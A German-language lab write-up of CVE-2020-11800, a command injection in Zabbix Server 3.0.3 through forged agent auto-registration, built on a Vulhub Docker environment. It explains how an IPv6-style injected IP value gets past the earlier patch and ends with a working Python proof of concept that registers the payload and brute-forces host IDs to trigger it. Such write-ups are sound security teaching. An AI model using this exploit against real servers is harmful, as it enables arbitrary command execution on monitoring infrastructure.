
PoC-Exploit für CVE-2020-11800, eine Befehlsinjektion im Zabbix Server über bösartige Agenten-Autoregistrierung, mit Python-basierter Payload-Übermittlung und Brute-Forcing von Host-IDs.
Die gemäß den Aufgabenrichtlinien erforderlichen Abschnitte sind mit „(Erforderlich)“ gekennzeichnet.
Diese Umgebung verwendet ein benutzerdefiniertes Dockerfile, das auf dem von Vulhub bereitgestellten verwundbaren Zabbix-Server-Image basiert.
FROM vulhub/zabbix:3.0.3-server
Das Dockerfile erstellt ein lokales Image mit der verwundbaren Zabbix-3.0.3-Serverumgebung. Während des Build-Prozesses wurden keine zusätzlichen Pakete oder Konfigurationen hinzugefügt.
Die verwundbare Umgebung wird mit Docker Compose konfiguriert.
Die Umgebung besteht aus vier Diensten:
Der server-Dienst wird lokal mit dem Dockerfile erstellt:
server:
build: .
image: cve-2020-11800-server
Der MySQL-Container importiert automatisch SQL-Initialisierungsdateien aus dem Verzeichnis src/ per Volume-Mount:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
Dadurch werden das Datenbankschema und die initialen Zabbix-Daten beim Start des Containers automatisch geladen.
Die Umgebung arbeitet mit der folgenden Struktur:
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
Stellt die webbasierte Verwaltungsoberfläche bereit, die über den Browser erreichbar ist.
Über diese Oberfläche konfiguriert der Administrator die Auto-Registrierung und führt überwachungsbezogene Operationen aus.
Die Kernkomponente, verantwortlich für:
Die Command-Injection-Schwachstelle wird in diesem Container ausgelöst.
Fungiert als überwachter Host und kommuniziert mit dem Zabbix-Server.
Der Exploit missbraucht den Auto-Registrierungsmechanismus während des Agenten-Registrierungsprozesses.
Speichert Zabbix-Konfigurationsdaten, Host-Informationen und überwachungsbezogene Daten.
| Service | Image | Version |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
Die Umgebung basiert auf der von Vulhub bereitgestellten verwundbaren Zabbix-3.0.3-Umgebung.
CVE-2020-11800 ist eine Command-Injection-Schwachstelle in der Active-Proxy-Trapper-Funktionalität des Zabbix-Servers.
Die Schwachstelle existiert, weil der Patch für CVE-2017-2824 unvollständig war. Ein Angreifer kann den ursprünglichen Patch mithilfe eines IPv6-artigen Payloads umgehen und beliebige Befehle auf dem Zabbix-Server ausführen.
Die Schwachstelle wird während des Auto-Registrierungsprozesses ausgelöst, wenn der Server vom Benutzer kontrollierte Host-Informationen verarbeitet.
Die Grundursache der Schwachstelle ist die unsichere Verarbeitung von benutzerkontrollierten Eingaben innerhalb von Shell-Befehlen.
Während der Skriptausführung verwendet der Zabbix-Server den registrierten Host-IP-Wert, um Befehle wie die folgenden zu konstruieren:
ping <host_ip>
Unter normalen Bedingungen:
ping 127.0.0.1
Wenn ein Angreifer jedoch einen Host mit dem folgenden Payload registriert:
ffff:::;touch /tmp/success2
wird der endgültige, von der Shell ausgeführte Befehl zu:
ping ffff:::;touch /tmp/success2
Da das Semikolon (;) als Shell-Befehlstrenner fungiert, interpretiert die Shell die Eingabe als zwei getrennte Befehle:
ping ffff:::
touch /tmp/success2
Dadurch wird die Ausführung beliebiger Befehle möglich.
Der ursprüngliche Patch für CVE-2017-2824 versuchte, bösartige Eingabewerte einzuschränken.
Die Validierungslogik behandelte jedoch IPv6-artige Eingaben nicht ordnungsgemäß.
Der Payload:
ffff:::;touch /tmp/success2
verwendet ein IPv6-artiges Präfix (ffff:::), um die vorhandene Validierungslogik zu umgehen, während weiterhin Shell-Metazeichen injiziert werden.
Dadurch können Angreifer den vorherigen Patch umgehen und die Command-Injection-Schwachstelle weiter ausnutzen.
Der Exploit-Prozess läuft in der folgenden Reihenfolge ab:
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
Der Angreifer sendet zunächst eine bösartige Auto-Registrierungsanfrage mit einem manipulierten IP-Feld.
Nachdem der Host registriert wurde, führt der Zabbix-Server ein Überwachungsskript unter Verwendung des gespeicherten Host-IP-Werts aus.
Während dieses Prozesses wird der bösartige Payload von der Shell interpretiert, was zur Ausführung beliebiger Befehle führt.
Der Exploit ermöglicht es Angreifern, beliebige Befehle mit den Rechten des Zabbix-Server-Prozesses auszuführen.
In dieser Umgebung erzeugte eine erfolgreiche Ausnutzung die folgende Datei im Server-Container:
/tmp/success2
Dies bestätigt, dass injizierte Shell-Befehle erfolgreich ausgeführt wurden.
In einer realen Umgebung könnte eine erfolgreiche Ausnutzung es Angreifern ermöglichen:
Die Schwachstelle ist besonders gefährlich, da Überwachungsserver häufig Einblick in mehrere interne Systeme und Infrastrukturkomponenten haben.
Der Proof of Concept (PoC) wurde in Python geschrieben und kommuniziert direkt über den TCP-Port 10051 mit dem Zabbix-Server.
Der PoC führt die folgenden Aktionen aus:
hostid-Werte durchimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
Der in diesem PoC verwendete Payload ist:
ffff:::;touch /tmp/success2
| Teil | Zweck |
|---|---|
ffff::: | IPv6-artiges Präfix zum Umgehen der Validierung |
; | Shell-Befehlstrenner |
touch /tmp/success2 | Beliebiger, auf dem Server ausgeführter Befehl |